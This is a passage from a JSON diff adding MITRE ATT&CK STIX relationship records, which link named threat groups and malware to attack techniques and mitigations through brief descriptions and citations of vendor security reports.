"FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7a3963b8-3ffd-41a9-bd03-57cba4f03882", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.173Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) downloads a new version of itself once it has installed. It also downloads additional plugins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4bb79228-9531-47c0-8e73-401e741593a8", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to remove indicators of compromise from tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T21:43:14.128Z", + "id": "relationship--febbf503-d7e5-4896-90b9-35b6a811b19b", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed94edc7-e687-409e-9143-20a15190bd83", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[Comnie](https://attack.mitre.org/software/S0244) appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e4e36dcb-9c07-4c22-a182-61ac194a434f", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) enumerates the running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.270Z", + "id": "relationship--17cafa26-57f1-4efb-9d23-1399cd2de4cd", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--120ab07d-b167-4548-9e02-d241ccea8f02", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[APT38](https://attack.mitre.org/groups/G0082) uses a tool called CLEANTOAD that has the capability to modify Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.282Z", + "id": "relationship--0ccca05d-955c-40fa-9fd4-c10480abcf3d", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.368Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of modifying the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6592447f-31c8-46d0-8e88-47584fa301f0", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server. A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + }, + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--592d0c31-e61f-495e-a60e-70d7be59a719", + "source_ref": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd", + "modified": "2019-07-24T19:07:35.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses 443 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8e42a784-4e6d-4474-84b0-3139cebfa879", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ab99abc-fa2a-4cc5-8cb4-4116e305a819", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.051Z", + "id": "relationship--ee2739de-6829-4c73-b72b-91ba4b9fac5c", + "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "modified": "2019-03-22T20:10:33.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "source_name": "New DragonOK", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--7243a679-467e-4c31-b413-547016b9c3ad", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "can download and execute a second-stage payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--72ac0ee1-24c0-4b4e-b96d-f42575ce9af8", + "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--72f9bf47-61ac-42c8-acbf-65be7c25af0f", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46", + "source_ref": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "modified": "2019-07-24T14:41:17.985Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) variants have communicated with C2 servers over HTTP and HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.115Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--80fc5f0c-3dcb-45ab-807a-bfa3d64334c6", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used [Windows Credential Editor](https://attack.mitre.org/software/S0005) for credential dumping, as well as Metasploit\u2019s [PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.784Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) took screen shots using their Windows malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ec8f73de-eab1-4d3b-88c0-7885716aa748", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.590Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as [UPPERCUT](https://attack.mitre.org/software/S0275).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d4d07662-749c-4116-a83c-e4045eddad43", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.758Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the victim\u2019s computer name, processor architecture, OS version, volume serial number, and system type.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4bd74c6c-9e4f-4048-b968-13319d68ff00", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses [PsExec](https://attack.mitre.org/software/S0029) to perform remote service manipulation to execute a copy of itself as part of lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9453d60b-4f3f-494f-985d-e29094ef8945", + "source_ref": 